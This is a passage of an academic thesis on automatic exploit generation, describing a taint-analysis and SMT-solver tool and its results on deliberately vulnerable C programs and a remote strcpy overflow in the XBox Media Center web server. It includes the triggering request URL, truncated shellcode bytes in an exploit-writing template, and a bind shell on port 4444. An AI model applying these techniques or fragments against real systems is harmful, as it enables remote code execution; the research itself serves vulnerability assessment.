Listing 4.13 forms the core of the buildPathCondition function. The smtFormula variable is an instance of a class called SmtLibFormat that we created to encode x86 operations in their SMT-LIB equivalent (line 11). It also manages adding new variables (line 3) and building the list of assumptions (line 11). On line 28 we store the DataSource object associated with the current TaintByte if one exists. Recall that such DataSource objects are created when a hooked system call reads in data. We record the DataSource object encountered so that we can completely recreate the input resulting from that system call, not just those bytes we wish to change for shellcode/EIP control.

Adding Conditional Constraints

During the run-time analysis stage we store constraints from conditional jump instructions in a global store. In order to create an accurate path condition for a given TaintByte object we must add all conditional constraints on that TaintByte or its sources and, recursively, their sources. The conditional constraints are stored in a global map of Condition objects that store the TaintByte objects involved in the condition (in the EflagsOperands structure as previously described), the type of conditional jump, and whether the condition evaluated to true or false at run-time.

This process was described at a high level in Chapter 3 as algorithm 3.8. In practice, when adding a conditional constraint to the path condition we first add the path conditions for all TaintByte objects referenced in the EflagsOperands structure. Once this is done we use the SmtLibFormat class to encode the conditional instruction into SMT-LIB format, taking into account whether the condition is negated or not. Listing 4.14 demonstrates the process for the jz instruction. Essentially this function maps conditional instructions to their SMT-LIB equivalent. The jz instruction is a check on the zero flag in the EFLAGS register and is usually used when checking for equality, hence we map it to the = operation.

The TaintByte objects referenced by the condition can then be embedded within the prefix/suffix values for the condition.

Adding Data Source Constraints

On line 25 of Listing 4.13 we store the DataSource object associated with a TaintByte.

TaintByte objects with associated DataSource objects have been created when a hooked system call has read in data and tainted one or more bytes of memory. A DataSource object stores a reference to all TaintByte objects created at that point, as well as the value of the tainted data read in by the system call. We store this information to allow us to recreate the input in its entirety, not just those bytes that we wish to change for shellcode and to hijack the EIP. This allows us to generate a complete program input. For all bytes referenced by the DataSource object, that we do not wish to change the value of, we simply add constraints that specify those bytes should have the same value as in the original input. The IDs associated with each of the TaintByte objects referenced by a DataSource object indicate the order in which they occurred in the original input. This is necessary to allow us to recreate the input sensibly.

Storing the original inputs in this fashion is a rather obvious and simple idea but it makes the later exploit generation process much easier. With these constraints added the SMT solver will generate an input exactly the same size as the initial input and with the same byte ordering. This means we can directly convert the SMT solver output into a new program input. If the program input was read in across several system calls we can easily generate the same assignment constraints for all DataSource objects and take the conjunction of these formulae with the exploit formula. As the extra constraints are simple assignments there is no noticeable effect on the time taken to solve the formula.

Using the build Path Condition function

As shown in algorithm 3.9 this function is used once a formula has been built that constrains a buffer for the shellcode and specifies the required changes in order to hijack the EIP. The SmtLibFormat object contains a reference to every unique ID used in the creation of this formula and thus we can build the final formula by iterating over each of these IDs and applying the build Path Condition function. The Smt Lib Format object will generate a formula expressing the conjunction of each path condition thus resulting in the final exploit formula. As mentioned earlier in this section, in some cases we may generate multiple exploit formulae with a unique formula for every applicable shell code.

From Formula to Exploit

At this point we have described the implementation of all algorithms required to build a formula representing the conditions required for an exploit. This includes constraining a shellcode buffer, controlling the EIP, building the path condition and adding on data-source

constraints. We then use the SmtLibFormat class to embed the formula in a standard SMT-LIB QF-BV template and write it to a file. We must then find a satisfying solution to the formula and convert that into a program input. To solve the formula we feed it to a SMT solver and wait for a result indicating the formula is satisfiable or unsatisfiable.

After testing a number of SMT solvers we decided to use the Yices solver. Surprisingly, solver performance was not a factor in our decision. As we will show in the next Chapter, the amount of time required to solve the constructed formulae was minimal. This is in comparison to test case generation where the time taken to find formulae solutions can be a major bottleneck. The most obvious reason for the difference would seem to be that we purposely pick those formulae that are easier to solve and our method of taint analysis allows us to do so.

Example4.1 Sampleyicesoutput

```
(=i00b111
01011)(=i
10b00011
000)(=i20
b0101111
0)(=i30b1
0001001)
...
```

The main factor in our selection of Yices was its easily parseable output format. As described in Chapter 3, Yices produces an output similar to Example 4.1.

Example4.2 Generatinganexploit

```
%./bitVecToHex-bitvecexploit.bv-
useFileimportsys
exploit='\xeb\x18\x5e\x89.
..'ex = open(sys.argv[1],
'w')ex.write(exploit)
ex.close()
```

Due to the data-source constraints added to the exploit formula the output will provide a

bit-vector value for every byte of input. These values will either match the original input or will be the inputs required to satisfy our exploit conditions. Converting this bit-vector solution into a program input is relatively trivial. We process the bit-vector values into a string representable in the Python language and then embed this string within a template designed to deliver the exploit over a TCP/IP socket or write it to a file. This is done using a script called bitVecToHex. The process of generating an exploit that uses a file-based delivery mechanism is shown in Example 4.2. In this example the file exploit.bv is a bit-vector description of the exploit as generated by Yices, similar in format to Example 4.1. The exploit text is truncated for the sake of brevity but full examples can be found in section B of the appendices.

ExperimentalResults

In Chapter 1 we presented our thesis and in subsequent chapters explained the algorithms and system implementation we developed to investigate the idea. In this Chapter we will refer to the set of tools that make up that implementation as axgen. We will now elaborate on the vulnerabilities used to test our theories, algorithms and implementation. To test axgen we used a selection of sample vulnerabilities including one in the XBox Media Center (XBMC), a large multi-threaded server application.

As per the preconditions of our thesis, all tests begin with the following data provided:

A vulnerable program P.

An input Λ to P that results in data derived from Λ corrupting a stored instruction pointer, function pointer or the destination location and source value of a write instruction.

Attacker specified shellcode S1.

Our objective in this Chapter is to test the capabilities of our algorithms on vulnerabilities that satisfy the required preconditions. The results of our testing on these vulnerabilities demonstrate that our thesis is plausible and that our algorithms satisfy its conditions. The conditions required to exploit these vul- nerabilities will also provide points to contrast with when we discuss future research directions in the final Chapter.

Testing Environment

All tests were performed in an Ubuntu Linux2 8.04 virtual machine with access to a 2Ghz Intel Core Duo processor and 768MB of RAM. All vulnerable applications were compiled with the following gcc compiler flags:

CFLAGS =-fno-stack-protector -D FORTIFY SOURCE=0 -

The above arguments disable the stack hardening features (stack canary, variable reordering) and prevent the compiler performing certain compile time and run-time security checks. Additionally, the programs used to demonstrate function pointer overwrites were compiled with optimisation disabled (-O0) in order to preserve the function pointer semantics.

Ubuntu 8.04 enables stack randomisation by default and includes a version of libc with heap hardening integrity checks. The default heap base address is not randomised.

Listing5.1:"Astrcpybasedstackoverflow"

```
1  voidfunc(char*userInput)
2  {
3       chararr[64];
4
5       strcpy(arr,userInput);
6  }
```

Shell code Used

For our testing we have used a selection of shellcode from the Metasploit [39] project. The shellcode used in an exploit will usually depend on the type of application being exploited. When an attacker is exploiting an application on as a machine they have local access to they will often use shellcode that launches a command shell such as the bash application. When exploiting an application on a remote machine they will often use shellcode that opens a local TCP port and connects the incoming data stream to a local command shell. To represent both of these cases we have selected two shellcodes from the Metasploit shellcode library. The first executes a bash command shell (referred to as execve shellcode in later figures) while the second opens TCP port 4444 and listens for an incoming connection (referred to as tcpbind in later figures).

In certain cases an attackers input is passed through a filtering routine. Of the filters typically encountered on of the most common is an alpha-numeric filter. This is a filter that requires all bytes of input to fall in the range of ASCII alphabetic̄ or numeric characters. It is possible to encode shellcode so that it meets these requirements and we include such a sample (referred to as alphanum ex in later figures). These three shellcodes are 38, 78 and

166 bytes in length respectively.

Stored Instruction Pointer Corruption

In Chapter 2 the first vulnerability introduced resulted in the corruption of a stored instruction pointer on the stack. Such vulnerabilities occur when a buffer on the stack overflows by a sufficient amount to reach the top of the current stack frame and then corrupt the 4-byte stored instruction pointer. Buffer overflow vulnerabilities are the most common type of security vulnerability in non-web-based software3 with overflows of stack based buffers making up the majority of these4.

Generating an Exploit for a strcpy based stack overflow

The first program we will use to test our implementation contains a buffer overflow vulnerability that is similar to the code introduced in Chapter 2. The full source is in section A.1 of the appendices but the most important part is as follows:

Our test program P contains the above function. P reads up to 128 bytes of user input onto the heap using the read function and then passes a pointer to this buffer to the func function. Providing more than 64 bytes of input results in a buffer overflow that fills the stack based buffer arr and then corrupts the memory locations above arr. Our test input Λ is 128 'A' characters i.e. 128 bytes that equal 0x41. As explained in Chapter 2, bytes 0-63 will fill the buffer arr, bytes 64-67 will corrupt the stored EBP, and bytes 68-71 will corrupt the stored instruction pointer. After the strcpy the function will execute a ret instruction resulting in the corrupted instruction pointer being moved into the EIP register.

Running P (Λ) with axgen will detect the corrupted instruction pointer at this point. Table 5.1 shows information gathered from P (Λ) up to that point in the program. We have included the output from running axgen on P (Λ) as appendix C.

Table5.1:Run-timeAnalysisInformation

TaintAnalysisStatistics	
Run-timeIncrease	x18
VulnerabilityCause	Taintedret
#TaintedMemoryLocations	256
#PotentialShellcodeBuffers	2

UsableTrampolineRegisters	EAX

Table5.2:TaintBufferAnalysis

PotentialShellcodeBuffers			
Address	Size	LatticePosition	T.Reg
0x0804a008 0xbfefe318	128 128	ASSIGN PC/ASSIGN	- EAX

The first point of interest is the increased run-time of the application. With no instrumentation P (Λ) takes 0.3 seconds to run. With a sample Pin instrumentation tool that counts the instructions executed P (Λ) takes 2.5 seconds to run. Running P (Λ) under axgen takes 6 seconds. While the difference in run-times is inconsequential for such small values the increase does illustrate the impact our instrumentation has on program run-times in general. When we use axgen on large applications this increased run-time becomes much more noticeable and far exceeds the time taken to solve the generated formulae. Luckily, vulnerabilities are rarely dependent on execution time and so the increased run-time is an usually an inconvenience rather than a real problem.

We can observe in Table 5.2 that axgen correctly detects two potential shellcode buffers of size 128. These are the 128 byte buffer on the heap that is used as the destination buffer in the read call and the copy of these 128 bytes starting from arr on the stack. The stack buffer is located at 0xbfefe318 and, as we can see from the "T. Reg"5 field, the EAX register is usable as a trampoline into the buffer. Both shellcode buffers were created as a result of direct assignment but the stack buffer has a lattice position of PC/ASSIGN, indicating that at least one of its constituent bytes is constrained by a conditional instruction. The reason for this is that the strcpy function contains the following code:

Example5.1strcpy check for

0x00xb7df1daa<strcpy+26>:tes

t al,al

0xb7df1dac<strcpy+28>:jne 0xb7df1da0<strcpy+16>

The above code checks every byte that strcpy processes for equality with the NULL byte in order to detect the End-Of-String (EOS).

As shown in Table 5.2 the heap buffer is not reachable by any register trampolines so axgen will select the stack buffer to store our shellcode. Were no shellcode buffers reachable via trampoline registers axgen could have reverted to using the heap buffers are their locations are note randomised on Ubuntu 8.04. Table

shows the statistics for the generated candidate formulae. For this exploit two formulae are generated because the only reachable shellcode buffer is 128 bytes in size and the alphanumeric shellcode requires 166 bytes of storage space.

In Table 5.36 we can see that the formula for shellcode execve is satisfiable. A SAT result should indicate that an exploit X built from the satisfying solution should result in shellcode execution when P (X)

Table5.3:ExploitFormulaStatistics

-	ExploitFormulaStatistics					
Shellcode	TimetoGen.	#Vars	#A.Clauses	#F.Clauses	Status	Time to Solve
alphanumex execve tcpbind	- <1s <1s	- 298 334	- 84 156	- 128 132	- SAT UNSAT	- <1s <1s

is ran. We manually confirm this for all exploits by constructing an exploit using bitVecToHex on the satisfying solution generated by Yices.

In this case the tcpbind exploit was found to be unsatisfiable. The reason for this is indicated by the number of formula clauses. As there are only 128 bytes of input provided to the program 132 formula clauses may indicate four variables are constrained twice. By checking the formula we can observe that these four bytes are the four bytes used to specify the address of the register trampoline. The reason for this is simple, the stored instruction pointer is at 0xbfefe318 + 68 so the constraints on the register trampoline address will start there and include the following four bytes. The tcpbind shellcode is 78

bytes in length and by using the buffer at 0xbfefe318 to store it we attempt to use the same 4 bytes at 0xbfefe318 + 68 that we are also trying to use for the register trampoline address. Our tool generates a warning when it detects a situation whereby it may be attempting to constrain the same variable twice. As described in Chapter 4, if multiple shellcode buffers are reachable it will attempt to resolve this problem by changing the buffer used for shellcode. In this case it is not necessary though as the other shellcode, execve, can be used without any conflict.

Generating an Exploit for the XBox Media Center Application

XBMC is a cross-platform media center application containing more than 100,000 lines of C++ code. It features a remotely accessible web server that accepts and processes arbitrary HTTP requests. On the 4th of April 2009 several components were updated7 to fix a number of stack overflow vulnerabilities that stemmed from unsafe use of the strcpy function. These vulnerabilities can be remotely triggered through a request to the web server. We will use axgen to generate an exploit for one of these vulnerabilities.

The vulnerability we are going to exploit is not in the web server component itself but in the dll open function in the file XBMC/xbmc/cores/DllLoader/exports/emu msvcrt.cpp8. It results from a strcpy call that copies user supplied data into a 1024 byte statically allocated stack buffer without check- ing the length of the source string. The vulnerability is triggerable through a HTTP GET request to the following URL:

[/xbmcCmds/xbmcHttp?command=GetTagFromFilename(C:/] + [AAAA...AAAA] + [.mp3)]

The stack buffer is declared as char str[XBMC MAX PATH] where XBMC MAX PATH is defined as 1024. Therefore greater than 1024 'A' characters in the above URL will result in memory corruption. We use the above URL with 2000 'A' characters as our program input Λ.

Tables 5.4 and 5.5 contain the results of the run-time analysis on P (Λ) up to the vulnerability point. In this case the run-time increase is quite noticeable. XBMC takes 1.5 seconds to process and respond to a request when uninstrumented. With full instrumentation of assignment, linear arithmetic and non-linear arithmetic this response time increases to 10 minutes 20 seconds, an increase by a factor of 413. Once again we note that this increase is not prohibitive and given the size of the code-base is likely faster than a human auditor could trace the code path manually. In Table 5.4 we have also

included two new fields for run-time increase. The first (A+L+C) is the run-time increase when we exclude the analysis of non-linear arithmetic instructions. In this case we instrument assignment (A), linear arithmetic (L) and conditional jumps (C).

Table5.4:Run-timeAnalysisInformation

TaintAnalysisStatistics	
Run-timeIncrease	x413
Run-timeIncrease(A+L+C)	x346
Run-timeIncrease(A+C)	x150
VulnerabilityCause	Taintedret
#TaintedMemoryLocations	28516
#PotentialShellcodeBuffers	56
UsableTrampolineRegisters	EAX

Table5.5:TaintBufferAnalysis(Top5ShellcodeBuffers,orderedbysize)

PotentialShellcodeBuffers			
Address	Size	LatticePosition	T.Reg
0x09184658	1994	ASSIGN	-
0x09185669	1989	PC/ASSIGN	-
0x09187ed8	1977	PC/ASSIGN	-
0x091866c8	1958	PC/ASSIGN	-

0x09186ee3	1958	PC/ASSIGN	-

The second new field is the run-time increase when we then exclude both non-linear arithmetic and linear arithmetic from the analysis.

The motivation for excluding certain instruction categories from instrumentation comes from analysing the potential shellcode buffers that are available. As shown in Table 5.5, the top 59 of these buffers are exclu- sively in the ASSIGN and PC/ASSIGN categories. In fact, we discovered no shellcode buffer greater than 4 bytes in size that was created as a result of linear or non-linear arithmetic. This is a compelling argument for iterative analysis where the analysis client gives the option of enabling/disabling instrumentation for differ- ent instruction categories. We hypothesise that in many applications that use string manipulation functions, such as strcpy, strcat and so on, there will exist a number of shellcode buffers that are discoverable via analysis of assignment and path condition instructions exclusively.

Table5.6:ExploitFormulaStatistics

ExploitFormulaStatistics						
Shellcode	TimetoGen.	#Vars	#A.Clauses	#F.Clauses	Status	Time to Solve
alphanumex	<1s	14748	8930	1200	SAT	1.2s
execve	<1s	8164	2218	1200	SAT	<1s
tcpbind	<1s	10108	4378	1200	SAT	<1s

The ability to focus on minimally constrained data is an interesting difference between exploit generation and automatic test-case generation based on SMT solving, as in [38, 27, 14, 15]. Many of these authors document formula solving as being one of the most time consuming activities encountered whereas the formulae we generate are relatively simple. The reason for this is that we purposely select those formulae we know to be of a lower

complexity. No mechanism is implemented in the previous work to facilitate such a prioritisation.

The taint lattice introduced in Chapter 3 allows us to pick the buffer with the least complex constraints and thus we can reduce the time required to generate the exploit to a minimum. Our algorithms also have the advantage of constraining the minimal set of bytes required by the exploit. This is because we only build the path conditions for exactly those bytes in the shellcode buffer and involved in hijacking the EIP. While

Listing5.2:"Afunctionpointeroverflowz"

```
1  voidfunc_ptr_smash(char*input)
2  {
3       inti=0;
4       void(*func_ptr)(int)=exit_func;
5       charbuffer[248];
6
7       strcpy(buffer,input);
8
9       printf("Exitingwithcode%d\n",i);
10      (*func_ptr)(i);
11 }
```

it would be possible to build the path condition for all input bytes, this has been previously documented as generating unwieldy formula [38] and is unnecessary for our purposes.

As in the previous vulnerable application there is a single usable trampoline register, the EAX register. In this case it points to a stack based buffer that is 882 bytes in size and has the lattice position of PC/ASSIGN. We could guess that as in the previous case the buffer is created via a string manipulation function that compares each byte with the EOS character 0x0. Inspecting the formula confirms this to be the case. Other constraints also occur in the formula that are consistent with the bytes in the shell code buffer, or bytes they are derived from, being processed by a web server. For example, there are constraints that restrict variables from equaling the '/' character.

The buffer pointed to by EAX is large enough to store any of our potential shell codes. In the case of a remote exploit it is not beneficial to the attacker to spawn a local command shell on the server machine so we used the tcpbind shell code for our exploit. The

generated exploit is provided as appendix B.2.

Manual testing of the exploit generated results in shell code execution and TCP port 4444 is opened on

the server machine. It is worth noting at this point that our exploit algorithm requires one to specify the address of a register trampoline. In order to discover such an address an attacker would first have to leverage a remote information leakage vulnerability or have local access to the machine they wish to exploit.

Having successfully created the above exploits we can conclude that the algorithms we have described are a feasible mechanism of exploit generation for this class of vulnerabilities. We have also demonstrated that our algorithms and implementation can analyse a large, real-world application. We will now illustrate the results from testing our algorithms on stored pointer corruption, followed by indirect exploits.

Stored Pointer Corruption

Stored pointer corruption is the other type of exploit we have classed as potentially leading to a direct exploit. As described in Chapter 2, the exploitation mechanism for a vulnerability resulting in stored pointer corruption is almost identical to that of stored instruction pointer corruption.

Generating an Exploit in the Presence of Arithmetic Modifications

As part of our test case for this vulnerability we integrated arithmetic modification of the input read in by the application. Let us first consider the vulnerability without arithmetic modifications. The full code for the vulnerable program is in section A.3.1 of the appendices. The vulnerable function is shown in Listing 5.2.

An exploit for the overflow in this code must modify the func ptr variable to point to shellcode provided by the attacker. Generating such an exploit requires essentially the same process as the strcpy based stored instruction pointer exploit. The results are also quite similar, except for one point. In this case axgen discovers there are no usable trampoline registers. An exploit is still possible though as the user input is initially read onto the heap (line 33, appendix A.3.1) which is not randomised. The generated

Listing5.3: "Arithmeticmodificationoftheinput"

```
1   for(z=0;z<248;z++)
2         heapArr[z]=(char)heapArr[z]+4;
```

exploit replaces the function pointer with this address (0x0804a008) instead. The full

exploit is available as appendix B.3.1. It replaces the function pointer with the heap address which causes execution to be redirect to our 38 byte execve shellcode.

Now let us consider the case where our input is subjected to arithmetic modification. For instance, the vulnerable program in appendix A.3.2 contains the same vulnerable function as in Listing 5.2 but the input is passed through the loop in Listing 5.3.

Using our exploit for the original program results in a segmentation fault. This is because our shellcode has been modified and is no longer the intended machine code. For example, the first 5 bytes of the original shellcode is the following (in Python's string representation):

\xeb\x18\x5e\x89\x76

After passing through the above loop they are modified to:

\xef\x1c\x62\x8d\x7a

It is clear that in order for the correct shellcode to be at the location we redirect execution to we must specify the value s 4 for every byte s in the shellcode. Doing this manually would be tedious and in the presence of more complex modifications in a large application it would become quite time consuming.

Using axgen the required input is automatically generated to satisfy these conditions. This is one of the primary advantages of a formula based approach to exploit generation. During the run-time analysis the arithmetic modification are instrumented and incorporated into the generated exploit formula. A satisfying solution for the formula will therefore be an input that results in the required shellcode after the arithmetic modifications have taken place. The resulting, functional exploit is listed as appendix B.3.2. The first 5 bytes are the following:

\xe7\x14\x5a\x85\x72

When each of the above bytes is modified by the loop in Listing 5.3 it results in the required shell code value being stored in the heap Arr buffer. When control flow is hijacked via the function pointer the shell code executes and a command shell is launched.

Table5.7:Run-timeAnalysisInformation

TaintAnalysisStatistics	
Run-timeIncrease	x20
VulnerabilityCause	Taintedret

#TaintedMemoryLocations	510
#PotentialShellcodeBuffers	2
UsableTrampolineRegisters	None

Tables 5.7 and 5.8 list information gathered from analysis of the exploit generation process. The lattice position of the heap array is linear arithmetic (LIN-ARITH) due to the loop in Listing 5.3 while the stack buffer is also path constrained due to the use of strcpy. Table 5.9 provides the statistics gathered from the candidate exploit formulae. The shell code buffer is large enough to hold any of the three shell codes and all three satisfy any other input constraints.

Table5.8:TaintBufferAnalysis

PotentialShellcodeBuffers			
Address	Size	LatticePosition	T.Reg
0x0804a008	255	LIN-ARITH	-
0xbfc1c858	255	PC/LIN-ARITH	-

Table5.9:ExploitFormulaStatistics

ExploitFormulaStatistics -						
Shellcode	TimetoGen.	#Vars	#A.Clauses	#F.Clauses	Status	Time to Solve
alphanumex	<1s	1424	838	256	SAT	<1s
execve	<1s	604	174	256	SAT	<1s
tcpbind	<1s	995	398	256	SA	<1s

					T	

5.3 Write Operand Corruption

The final vulnerability type we tested our implementation on is an indirect write vulnerability similar to the example shown in Chapter 2. The full source for this vulnerability is provided as appendix A.4.

The vulnerable function is shown in Listing 5.4. The function contains an off-by-one miscalculation on the bounds of the loop. As a result the variable ptr can be corrupted by user input. On line 12 this corrupted address is then used as the destination operand to a write instruction. The value of the source operand is also tainted by user input. Our initial test input Λ to the above vulnerability consisted of 132 'A' characters. Note that array arr is 32 int variables. On our platform an int is 4 bytes so the total array size is 128 bytes.

Tables 5.10 and 5.11 document the results of the run-time analysis for this vulnerability. There are a number of subtle differences that influence these results that do not occur in the case of a direct exploit. Firstly, as mentioned in chapters 3 and 4, the analysis for an indirect exploit takes place in two stages. When a vulnerable write is detected we modify the destination address to the.dtors segment, hence the 4 tainted bytes at address 0x0804956c. Then the actual gathering of information on usable shellcode buffers and trampolines occurs when the.dtors values are being processed and moved to the EIP register.

For this particular vulnerability there are no usable register trampolines. This means we will once again have to use a static address. This rules out the buffer at 0xbfbe2fb0 as it is on the stack. When generating the candidate exploit formulae axgen notices that for all usable shellcodes (alphanum ex is too large for the available buffers) we are trying to use a variable being used for EIP control in our shellcode. The reason for this is that the first 4 bytes of the shellcode buffer at 0x0804a008 are used on line 12 as the source value for the corrupted write instruction. In this case axgen solves the problem using the approach described in

Listing5.4:"Afunctioncontainingawritecorruptionvulnerability"

```
1  voidfunc(int*userInput)
2  {
```

```
3       int*ptr;
4       intarr[32];
5       inti;
6
7       ptr=&arr[31];
8
9       for(i=0;i<=32;i++)
10          arr[i]=userInput[i];
11
12      *ptr=arr[0];
13  }
```

Table5.10:Run-timeAnalysisInformation

TaintAnalysisStatistics	
Run-timeIncrease	x15
VulnerabilityCause	Corruptedwriteoperands
#TaintedMemoryLocations	268
#PotentialShellcodeBuffers	3
UsableTrampolineRegisters	None

Table 5.11: Taint Buffer Analysis

PotentialShellcodeBuffers			
Address	Size	LatticePosition	T.Reg
0x0804a008	132	ASSIGN	-
0xbfbe2fb0	132	ASSIGN	-
0x0804956c	4	ASSIGN	-

Chapter 4. When using a shellcode buffer at a static address we can start our shellcode at any index into that buffer. This is not possible when using a register trampoline as the trampoline dictates exactly where the shellcode must begin. axgen successfully detects that starting the shellcode at 0x0804a008 + 4 will avoid this conflict and still leave enough space for the shell code.

Table 5.12: Exploit Formula Statistics

ExploitFormulaStatistics						
Shellcode	TimetoGen.	#Vars	#A.Clauses	#F.Clauses	Status	Time to Solve
alphanumexecve	<1s	362	230	132	SAT	<1s
tcpbind	<1s	576	444	132	SAT	<1s

Table 5.12 shows the statistics gathered from the exploit formulae generated. The large number of variables and assumption clauses, in comparison to the strcpy and function pointer tests, is a result of the 4-byte int data type. As we instrument at the byte level each operation that has larger operands requires concatenation of variables representing the individual bytes. The exploit generated from the execve shell code is provided as appendix B.4.

Conclusion and Further Work

We have shown that automatic exploit generation of control flow hijacking exploits is possible. We have also presented novel algorithms to do so and demonstrated the results of applying these algorithms to a number of vulnerabilities in different programs, including a large and complex real-world application. As discussed in our introduction, tools for automatic exploit generation are important if we are to correctly diagnose the severity of bugs in software. Our algorithms are sufficient to perform this task for the described bug classes on Linux with ASLR enabled.

In this final Chapter we will introduce some further areas of research on the topic of AEG.

These areas fall outside of our thesis but we believe them to be important to the further development of tools for automatic exploit generation. Some of the suggested research areas overlap with research on automatic test case generation and vulnerability detection. For these cases it will be possible to use the developed theory and tools when considering AEG. In other cases, AEG presents problems that are not necessarily important to consider when trying to find vulnerabilities. For these problems it will be necessary for directed research on exploit generation.

Automatic Memory-Layout Manipulation

In our thesis one of the preconditions was the following:

Data derived from user input corrupts a stored instruction pointer, function pointer or the destination location and source value of a write instruction.

In earlier versions of Linux and Windows this condition would not have excluded exploits for heap metadata overflows. This has changed in recent versions and there now exists a variety of integrity checks designed to thwart such exploit attempts. These integrity checks usually do not prevent the initial memory corruption but they do stop the corrupted data being used in write instructions. To avoid these integrity checks a variety of techniques have evolved that primarily require the ability to manipulate the layout of the heap and related data structures as well as their content [44, 18, 30].

Without getting involved in the exact details, this requires one to discover heap allocation and deallocation routines within the binary and then trigger sequences of allocations and deallocations. The required sequences differ depending on the application, the OS and the type of exploit we are creating. In order to automatically generate such an exploit we need to be able to discover these heap manipulation primitives and reason about them in terms of their effects on programs memory layout. This is a research area that has so far seen little interest but will be crucial if we are to build heap exploits on modern operating systems.

The solution to this problem is not as simple as discovering paths to the heap manipulation routines. Different operating systems and applications require different heap manipulations in terms of the size and number of allocations/deallocations and the required content of these allocated memory blocks. For example,

Listing6.1:"Single-

pathanalysisleadstoincompletetransitionrelations”

```
1  switch(userInput):
2        case’A’:
3           y=1
4           break;
5        case’B’:
6           y=2
7           break;
8        default:
9           y=10;
10          break;
```

heap spraying [51] is a technique whereby large chunks of program memory are filled with shellcode preceded by NOP instructions. Manually one injects this code by discovering what parts of program input are stored on the heap and can be legitimately expanded to include this data while still triggering the exploit. This involves discovering the relationship between heap allocations and program input as well as the maximum bounds for different fields of user input.

The former problem could potentially be approached by considering the relationship between loops iter- ations and program input, as discussed in [47], but further work is needed to develop these methods into a flexible means of memory manipulation.

Multi-PathAnalysis

In our algorithms we consider the single path resulting from P (Λ) as the sole source of information when generating an exploit. There are situations where two inputs Λ1 and Λ2 trigger the same vulnerability but P (Λ1) is exploitable while P (Λ2) is not. In such a situation our approach relies on whatever mechanism that is generating the inputs to discover the exploitable path. A more intelligent solution might be to include a feedback loop from the exploit generation algorithms to the testing mechanism so that it can focus on finding more paths to a known vulnerability.

The problem is exemplified in Listing 6.1. If we consider the case where userInput is ’A’ then the generated formula will contain the implication ((userInput == ’A’) => (y = 1)) but no information on what happens if userInput equals ’B’ or another character. Essentially this means that the transition relation for y is incomplete. If our exploit requires that y

equals 2 we will need to discover the case statement on line 5.

The best way to deal with this problem will depend on the mechanism being used to generate the program inputs. There are many algorithms for both static and dynamic discovery of program paths. Test generation tools that rely on solving formulae that describe the path condition could be used by iteratively adding conditions to the formula that ensure a different path is taken within the function of interest on every execution. This approach is commonly how such tools discover new paths so it would not seem to be a major effort to extend the functionality to accept feedback from the exploit generation tool.

IdentifyingMemoryCorruptionSide-Effects

In many real-world overflows we encounter a situation where a corrupted variable that is unrelated to the shellcode or instruction pointer control is used in such a way as to cause the program to terminate before we hijack its control flow. This is always a potential issue in vulnerabilities where one or more instructions are executed between the memory corruption and our hijack of the control flow.

A recent example of this can be seen in the ISC dhclient vulnerability1 from June of this year. In this.

vulnerability a stack based overflow occurred that corrupted several structures on the stack before overwriting the stored instruction pointer. A number of these structures were then dereferenced and read from before the end of the function and the ret instruction that resulted in control flow being hijacked.

In order to automatically generate an exploit for the above situations we need to ensure that any variables that are corrupted by the overflow are modified to values that still result in the exploit being triggered. There are typically two problems. The first is as described, a corrupted variable is read from, and the second is where a corrupted variable is written to. Detecting these reads/writes is simple using any binary instrumentation framework. The difficulty is in determining what value to overwrite these corrupted variables with.

The most straight-forward solution would seem to be to automatically, or otherwise, find a memory region at a static address that is readable and one that is writable and simply overwrite any corrupted variables with the correct address depending on how it is used. This quickly runs into difficulties if the corrupted stack variable A is a pointer to another variable B that is itself dereferenced. In a situation like this we need to ensure that both A points to a readable memory address and that at that address there is a pointer B to another

readable/writable memory location. The common way to do this manually is to find a static memory location, such as the heap in some cases, and inject the pointer B there and then modify the corrupted stack variable A to point to the static location of B. Once again, to do this automatically will require the tool to be able to relate user input to the memory region(s) it is copied to. It will also require us to track the path condition associated with the injected pointer B.

Write-N-Bytes-Anywhere Vulnerabilities

In this work we have discussed how one can automatically generate an exploit when a write-4-bytes-anywhere vulnerability is detected. It is not uncommon to encounter situation where we can write more or less bytes to an arbitrary location. It is also not uncommon that the destination operand is not entirely under our control i.e. we can specify a limited offset from a constant base.

Let us first consider the case where we control n bytes of the source value and n = 4. An example is where we can control the destination location of a NULL byte write, e.g. an instruction used to terminate a string with the EOS character 0x0. To exploit these situations we may truncate an existing stored instruction pointer or even modify a different program variable that will then lead to another buffer overflow or exploitable write. This will require the tool to build a catalogue of such vulnerable locations. Essentially this means we are tracking the sets Mm and MEIP. It is relatively simple to track stored instruction pointers on the stack but due to stack randomisation this is not always useful. To determine other program variables that might be useful to corrupt via the write will require further taint/usage analysis after the write has occurred. A more general solution would be to provide the tool with addresses in MEIP that are static and usable in all applications on a given OS version, e.g. the.dtors segment. Where n < 4 the tool would then need to reason about whether it has sufficient control over values at such locations to modify an address such that it points to attacker controllable data.

The other situation one may encounter is where the write destination address is tainted but overly constrained. In our current implementation we assume we have sufficient control over the write destination and that it is possible to make it equal the required location in MEIP , e.g., the addresses in the.dtors. It may be the case that the address is constrained within some offset from a constant base. In such situations the generated formula will be unsatisfiable as these constraints will be reflected within the formula. The vulnerability

may be exploitable though had we provided an address within the allowable range. Discovering this range and discovering any useful locations to modify within it are two different problems.

In order to discover the range we could modify how we currently constrain the destination of a write instruction. As described, our implementation generates a formula that assigns the computation of the effective address to a new variable and then constrains that variable to equal our desired write destination. In situations where not all address components are tainted one approach might be to constrain the tainted components separately. It may then be possible to use iterative formula generation to discover the upper and lower bound of writable addresses. The challenge is then to discover an address within this range that when corrupted can be used to gain malicious code execution.

Automatic Shellcode Generation

The third precondition of our thesis is that we require the user to supply the required shellcode. The reason for this is that generating shellcode in the presence of complex program constraints is a non-trivial exercise and one that requires its own research.

In many applications certain characters cannot occur in the input and still trigger the vulnerability e.g. the character 0x0 usually cannot occur in any inputs that aim to trigger a vulnerability caused by incorrect use of the strcpy function. The most popular automatic method of avoiding bad characters in shellcode is to encode the shellcode and then prepend a header that reverses the process, e.g. an XOR encoder. This is done iteratively until the shellcode is free of all bad characters. Obviously this process is not guaranteed to terminate and every iteration of the algorithm results in bigger shellcode. Given that we have a mechanism for extracting the exact constraints on user input we believe it to be worth investigating if an efficient method exists to modify provided shellcode to meet these constraints. If such a solution exists it would ideally be able to offer guarantees regarding completeness that are not available from current approaches as well as generating smaller shellcode.

Defeating Protection Mechanisms

As discussed in Chapter 2 there are a variety of operating system and compiler level protection mechanisms designed to mitigate potentially exploitable vulnerabilities. In this work we dealt with the consequences of one such protection mechanism, address space layout randomisation. For most protection mechanisms and combinations thereof there are

